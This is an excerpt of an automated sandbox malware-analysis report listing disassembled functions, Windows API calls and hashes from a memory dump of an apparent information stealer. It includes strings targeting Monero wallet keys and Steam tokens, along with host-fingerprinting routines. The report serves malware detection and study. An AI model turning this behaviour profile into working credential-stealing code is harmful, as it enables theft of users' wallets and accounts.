Associated: 00000000.00000002.2364452595.0000000000832000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000851000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000085D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000882000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000088F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.00000000008AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.00000000008BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.00000000008BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000945000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000965000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000096B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.00000000009FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000B8D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000C66000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000C8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000C99000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000CA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365167639.0000000000CA9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365284297.0000000000E49000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365299659.0000000000E4A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7a0000_file.jbxd

Yara matches

Similarity

API ID: Process$AllocCurrentExitNumaVirtual
String ID:
API String ID: 1103761159-0
Opcode ID: b2cf7b5e600c786dce5afc488bba29403b3828b83d8bbe8202fa742c544fa401
Instruction ID: 0405e05a1c7e22473c6d19c2df72d7fd78b0f299a7804cded5a200eb8abb7026
Opcode Fuzzy Hash: b2cf7b5e600c786dce5afc488bba29403b3828b83d8bbe8202fa742c544fa401
Instruction Fuzzy Hash: 5DE0867095934CFFE710ABA0DC0EB097A78AB04B01F504154F7087A1D0D6B53A00A699

Function 007B1A10 Relevance: 3.9, APIs: 2, Instructions: 857stringCOMMON

Download Yara Rule

APIs

Part of subcall function 007BA740: lstrcpy.KERNEL32(007C0E17,00000000), ref: 007BA788

Part of subcall function 007BA9B0: lstrlen.KERNEL32(?,013F90A0,?,\Monero\wallet.keys,007C0E17), ref: 007BA9C5
Part of subcall function 007BA9B0: lstrcpy.KERNEL32(00000000), ref: 007BAA04
Part of subcall function 007BA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 007BAA12

Part of subcall function 007BA8A0: lstrcpy.KERNEL32(?,007C0E17), ref: 007BA905

Part of subcall function 007B7500: GetWindowsDirectoryA.KERNEL32(?,00000104), ref: 007B7542
Part of subcall function 007B7500: GetVolumeInformationA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 007B757F
Part of subcall function 007B7500: GetProcessHeap.KERNEL32(00000000,00000104), ref: 007B7603
Part of subcall function 007B7500: RtlAllocateHeap.NTDLL(00000000), ref: 007B760A

Part of subcall function 007BA920: lstrcpy.KERNEL32(00000000,?), ref: 007BA972
Part of subcall function 007BA920: lstrcat.KERNEL32(00000000), ref: 007BA982

Part of subcall function 007B7690: GetProcessHeap.KERNEL32(00000000,00000104), ref: 007B76A4
Part of subcall function 007B7690: RtlAllocateHeap.NTDLL(00000000), ref: 007B76AB

Part of subcall function 007B77C0: GetCurrentProcess.KERNEL32(00000000,?,?,?,?,?,00000000,007BDBC0,000000FF,?,007B1C99,00000000,?,013FE9F0,00000000,?), ref: 007B77F2
Part of subcall function 007B77C0: IsWow64Process.KERNEL32(00000000,?,?,?,?,?,00000000,007BDBC0,000000FF,?,007B1C99,00000000,?,013FE9F0,00000000,?), ref: 007B77F9

Part of subcall function 007B7850: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,007A11B7), ref: 007B7880
Part of subcall function 007B7850: RtlAllocateHeap.NTDLL(00000000), ref: 007B7887
Part of subcall function 007B7850: GetUserNameA.ADVAPI32(00000104,00000104), ref: 007B789F

Part of subcall function 007B78E0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 007B7910
Part of subcall function 007B78E0: RtlAllocateHeap.NTDLL(00000000), ref: 007B7917
Part of subcall function 007B78E0: GetComputerNameA.KERNEL32(?,00000104), ref: 007B792F

Part of subcall function 007B7980: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,007C0E00,00000000,?), ref: 007B79B0
Part of subcall function 007B7980: RtlAllocateHeap.NTDLL(00000000), ref: 007B79B7
Part of subcall function 007B7980: GetLocalTime.KERNEL32(?,?,?,?,?,007C0E00,00000000,?), ref: 007B79C4
Part of subcall function 007B7980: wsprintfA.USER32 ref: 007B79F3

Part of subcall function 007B7A30: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00000000,00000000,?,013FF400,00000000,?,007C0E10,00000000,?,00000000,00000000), ref: 007B7A63
Part of subcall function 007B7A30: RtlAllocateHeap.NTDLL(00000000), ref: 007B7A6A
Part of subcall function 007B7A30: GetTimeZoneInformation.KERNEL32(?,?,?,?,00000000,00000000,?,013FF400,00000000,?,007C0E10,00000000,?,00000000,00000000,?), ref: 007B7A7D

Part of subcall function 007B7B00: GetUserDefaultLocaleName.KERNEL32(00000055,00000055,?,?,?,00000000,00000000,?,013FF400,00000000,?,007C0E10,00000000,?,00000000,00000000), ref: 007B7B35

Part of subcall function 007B7B90: GetKeyboardLayoutList.USER32(00000000,00000000,007C05AF), ref: 007B7BE1
Part of subcall function 007B7B90: LocalAlloc.KERNEL32(00000040,?), ref: 007B7BF9
Part of subcall function 007B7B90: GetKeyboardLayoutList.USER32(?,00000000), ref: 007B7C0D
Part of subcall function 007B7B90: GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 007B7C62
Part of subcall function 007B7B90: LocalFree.KERNEL32(00000000), ref: 007B7D22

Part of subcall function 007B7D80: GetSystemPowerStatus.KERNEL32(?), ref: 007B7DAD

GetCurrentProcessId.KERNEL32(00000000,?,013FE910,00000000,?,007C0E24,00000000,?,00000000,00000000,?,013FF238,00000000,?,007C0E20,00000000), ref: 007B207E

Part of subcall function 007B9470: OpenProcess.KERNEL32(00000410,00000000,?), ref: 007B9484
Part of subcall function 007B9470: K32GetModuleFileNameExA.KERNEL32(00000000,00000000,?,00000104), ref: 007B94A5
Part of subcall function 007B9470: CloseHandle.KERNEL32(00000000), ref: 007B94AF

Part of subcall function 007B7E00: GetProcessHeap.KERNEL32(00000000,00000104), ref: 007B7E37
Part of subcall function 007B7E00: RtlAllocateHeap.NTDLL(00000000), ref: 007B7E3E
Part of subcall function 007B7E00: RegOpenKeyExA.KERNEL32(80000002,013EBF78,00000000,00020119,?), ref: 007B7E5E
Part of subcall function 007B7E00: RegQueryValueExA.KERNEL32(?,013FEA30,00000000,00000000,000000FF,000000FF), ref: 007B7E7F
Part of subcall function 007B7E00: RegCloseKey.ADVAPI32(?), ref: 007B7E92

Part of subcall function 007B7F60: GetLogicalProcessorInformationEx.KERNELBASE(0000FFFF,00000000,00000000), ref: 007B7FC9
Part of subcall function 007B7F60: GetLastError.KERNEL32 ref: 007B7FD8

Part of subcall function 007B7ED0: GetSystemInfo.KERNEL32(007C0E2C), ref: 007B7F00
Part of subcall function 007B7ED0: wsprintfA.USER32 ref: 007B7F16

Part of subcall function 007B8100: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00000000,00000000,?,013FF1D8,00000000,?,007C0E2C,00000000,?,00000000), ref: 007B8130
Part of subcall function 007B8100: RtlAllocateHeap.NTDLL(00000000), ref: 007B8137
Part of subcall function 007B8100: GlobalMemoryStatusEx.KERNEL32(00000040,00000040,00000000), ref: 007B8158
Part of subcall function 007B8100: __aulldiv.LIBCMT ref: 007B8172
Part of subcall function 007B8100: __aulldiv.LIBCMT ref: 007B8180
Part of subcall function 007B8100: wsprintfA.USER32 ref: 007B81AC

Part of subcall function 007B87C0: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,007C0E28,00000000,?), ref: 007B882F
Part of subcall function 007B87C0: RtlAllocateHeap.NTDLL(00000000), ref: 007B8836
Part of subcall function 007B87C0: wsprintfA.USER32 ref: 007B8850

Part of subcall function 007B8320: RegOpenKeyExA.KERNEL32(00000000,013FC2D8,00000000,00020019,00000000,007C05B6), ref: 007B83A4

Part of subcall function 007B8320: RegEnumKeyExA.KERNEL32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 007B8426
Part of subcall function 007B8320: wsprintfA.USER32 ref: 007B8459
Part of subcall function 007B8320: RegOpenKeyExA.KERNEL32(00000000,?,00000000,00020019,00000000), ref: 007B847B
Part of subcall function 007B8320: RegCloseKey.ADVAPI32(00000000), ref: 007B848C
Part of subcall function 007B8320: RegCloseKey.ADVAPI32(00000000), ref: 007B8499

Part of subcall function 007B8680: CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,007C05B7), ref: 007B86CA
Part of subcall function 007B8680: Process32First.KERNEL32(?,00000128), ref: 007B86DE
Part of subcall function 007B8680: Process32Next.KERNEL32(?,00000128), ref: 007B86F3
Part of subcall function 007B8680: CloseHandle.KERNEL32(?), ref: 007B8761

lstrlen.KERNEL32(00000000,00000000,?,00000000,00000000,?,00000000,?,00000000,00000000,00000000), ref: 007B265B

Memory Dump Source

Source File: 00000000.00000002.2364452595.00000000007A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007A0000, based on PE: true

Associated: 00000000.00000002.2364428080.00000000007A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.00000000007FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000825000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000828000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000082F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000832000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000851000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000085D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000882000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000088F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.00000000008AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.00000000008BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.00000000008BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000945000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000965000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000096B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.00000000009FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000B8D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000C66000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000C8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000C99000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000CA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365167639.0000000000CA9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365284297.0000000000E49000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365299659.0000000000E4A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7a0000_file.jbxd

Yara matches

Similarity

API ID: Heap$Process$Allocate$Closewsprintf$NameOpenlstrcpy$InformationLocal$CurrentHandleInfoKeyboardLayoutListLocaleProcess32StatusSystemTimeUser__aulldivlstrcatlstrlen$AllocComputerCreateDefaultDirectoryEnumErrorFileFirstFreeGlobalLastLogicalMemoryModuleNextPowerProcessorQuerySnapshotToolhelp32ValueVolumeWindowsWow64Zone
String ID:
API String ID: 3113730047-0
Opcode ID: 1a23e937b87653ae5fb80343b475743d7369b9f1337a59060d30209e2bcb9c87
Instruction ID: 114085050fbabe6e13faafa39cdccb0cc0bdca0f6d15b3ff3516aa7d1df199fd
Opcode Fuzzy Hash: 1a23e937b87653ae5fb80343b475743d7369b9f1337a59060d30209e2bcb9c87
Instruction Fuzzy Hash: 12722D72C10118FADB1AFB90DCAAFEE737CAF54300F5042A9B11666451EF343B49DA66

Function 007A6D40 Relevance: 3.2, APIs: 2, Instructions: 157COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2364452595.00000000007A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007A0000, based on PE: true

Associated: 00000000.00000002.2364428080.00000000007A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.00000000007FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000825000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000828000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000082F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000832000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000851000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000085D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000882000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000088F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.00000000008AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.00000000008BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.00000000008BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000945000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000965000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000096B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.00000000009FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000B8D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000C66000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000C8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000C99000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000CA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365167639.0000000000CA9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365284297.0000000000E49000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365299659.0000000000E4A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7a0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f02ed2c99538ea2ceb9d4d9a1e709d4a87af0729168f4be3941195f303e8c5dc
Instruction ID: 4b4b47409f837f4150ab0b00c9afbd589a0e663c38d70da708015a05cb231212
Opcode Fuzzy Hash: f02ed2c99538ea2ceb9d4d9a1e709d4a87af0729168f4be3941195f303e8c5dc
Instruction Fuzzy Hash: 526117B4D00218DFCB14CF94E988BEEB7B0BB85304F188698E41967280D739AF94DF91

Function 007B5100 Relevance: 3.0, APIs: 1, Strings: 1, Instructions: 40stringCOMMON

Download Yara Rule

APIs

Part of subcall function 007BA740: lstrcpy.KERNEL32(007C0E17,00000000), ref: 007BA788

Part of subcall function 007BA820: lstrlen.KERNEL32(007A4F05,?,?,007A4F05,007C0DDE), ref: 007BA82B
Part of subcall function 007BA820: lstrcpy.KERNEL32(007C0DDE,00000000), ref: 007BA885

lstrlen.KERNEL32(00000000,00000000,007C0ACA), ref: 007B512A

Strings

steam_tokens.txt, xrefs: 007B513F

Memory Dump Source

Source File: 00000000.00000002.2364452595.00000000007A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007A0000, based on PE: true

Associated: 00000000.00000002.2364428080.00000000007A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.00000000007FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000825000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000828000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000082F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000832000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000851000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000085D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000882000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000088F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.00000000008AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.00000000008BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.00000000008BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000945000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000965000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000096B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.00000000009FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000B8D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000C66000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000C8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000C99000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000CA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365167639.0000000000CA9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365284297.0000000000E49000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365299659.0000000000E4A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7a0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen
String ID: steam_tokens.txt
API String ID: 2001356338-401951677
Opcode ID: 6b2c73db0d2798cda0cec74d3250fc59eb75b8249609309d072cf2fff0e1b7e8
Instruction ID: 3d8abee31dbbeba5e3c2d80c8d1efb53091d197c2bc31c6c41d0a792784bfa7c
Opcode Fuzzy Hash: 6b2c73db0d2798cda0cec74d3250fc59eb75b8249609309d072cf2fff0e1b7e8
Instruction Fuzzy Hash: EFF0FB71D10108B6DB19FBA0DC5ABED733CAA54300F804268B45666492EF2D6A19C6A2

Function 007B7ED0 Relevance: 3.0, APIs: 2, Instructions: 34COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(007C0E2C), ref: 007B7F00
wsprintfA.USER32 ref: 007B7F16

Memory Dump Source

Source File: 00000000.00000002.2364452595.00000000007A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007A0000, based on PE: true

Associated: 00000000.00000002.2364428080.00000000007A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.00000000007FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000825000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000828000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000082F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000832000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000851000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000085D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000882000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000088F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.00000000008AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.00000000008BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.00000000008BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000945000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000965000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000096B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.00000000009FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000B8D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000C66000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000C8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000C99000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000CA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365167639.0000000000CA9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365284297.0000000000E49000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365299659.0000000000E4A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7a0000_file.jbxd

Yara matches

Similarity

API ID: InfoSystemwsprintf
String ID:
API String ID: 2452939696-0
Opcode ID: 153102df074177f9e706d6436db09390ee3db1a915f01f0b2db99809255d93a3
Instruction ID: 09cfb89cb6c18f7c404afb819c21b6ba9ceddb2fe9d56dfda51c00ba1eb5bc75
Opcode Fuzzy Hash: 153102df074177f9e706d6436db09390ee3db1a915f01f0b2db99809255d93a3
Instruction Fuzzy Hash: EFF06DF1A04248EBCB14CF84DC45FAAB7BCFB48B24F00466AF51592280D77969048BE5

Function 007AB4F0 Relevance: 2.9, APIs: 2, Instructions: 397stringCOMMON

Download Yara Rule

APIs

Part of subcall function 007BA740: lstrcpy.KERNEL32(007C0E17,00000000), ref: 007BA788

Part of subcall function 007BA9B0: lstrlen.KERNEL32(?,013F90A0,?,\Monero\wallet.keys,007C0E17), ref: 007BA9C5
Part of subcall function 007BA9B0: lstrcpy.KERNEL32(00000000), ref: 007BAA04
Part of subcall function 007BA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 007BAA12

Part of subcall function 007BA920: lstrcpy.KERNEL32(00000000,?), ref: 007BA972
Part of subcall function 007BA920: lstrcat.KERNEL32(00000000), ref: 007BA982

Part of subcall function 007BA8A0: lstrcpy.KERNEL32(?,007C0E17), ref: 007BA905

Part of subcall function 007BA7A0: lstrcpy.KERNEL32(?,00000000), ref: 007BA7E6

lstrlen.KERNEL32(00000000), ref: 007AB9C2
lstrlen.KERNEL32(00000000), ref: 007AB9D6

Memory Dump Source

Source File: 00000000.00000002.2364452595.00000000007A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007A0000, based on PE: true

Associated: 00000000.00000002.2364428080.00000000007A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.00000000007FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000825000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000828000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000082F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000832000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000851000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000085D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000882000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000088F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.00000000008AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.00000000008BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.00000000008BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000945000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000965000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000096B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.00000000009FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000B8D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000C66000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000C8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000C99000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000CA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365167639.0000000000CA9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365284297.0000000000E49000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365299659.0000000000E4A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7a0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat
String ID:
API String ID: 2500673778-0
Opcode ID: 1ff12cde1e8fe63a11b60d47f2ce07d995179bfc398f5c9b5df521064e41b31d
Instruction ID: e2db8b136138afaef7fcf24b3b5f8d895ccb581bdd427d07573ee356c565ef9a
Opcode Fuzzy Hash: 1ff12cde1e8fe63a11b60d47f2ce07d995179bfc398f5c9b5df521064e41b31d
Instruction Fuzzy Hash: 5AE1C272910118FADB15FBA0CCAAFEE7378AF54300F404169F506664A1EF387A49DB62

Function 007AAEF0 Relevance: 2.7, APIs: 2, Instructions: 236stringCOMMON

Download Yara Rule

APIs

Part of subcall function 007BA740: lstrcpy.KERNEL32(007C0E17,00000000), ref: 007BA788

Part of subcall function 007BA9B0: lstrlen.KERNEL32(?,013F90A0,?,\Monero\wallet.keys,007C0E17), ref: 007BA9C5
Part of subcall function 007BA9B0: lstrcpy.KERNEL32(00000000), ref: 007BAA04
Part of subcall function 007BA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 007BAA12

Part of subcall function 007BA920: lstrcpy.KERNEL32(00000000,?), ref: 007BA972
Part of subcall function 007BA920: lstrcat.KERNEL32(00000000), ref: 007BA982

Part of subcall function 007BA8A0: lstrcpy.KERNEL32(?,007C0E17), ref: 007BA905

lstrlen.KERNEL32(00000000), ref: 007AB16A
lstrlen.KERNEL32(00000000), ref: 007AB17E

Part of subcall function 007BA7A0: lstrcpy.KERNEL32(?,00000000), ref: 007BA7E6

Memory Dump Source

Source File: 00000000.00000002.2364452595.00000000007A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007A0000, based on PE: true

Associated: 00000000.00000002.2364428080.00000000007A0000.00000004.00000001.01000000.00000003.sdmpDownload File
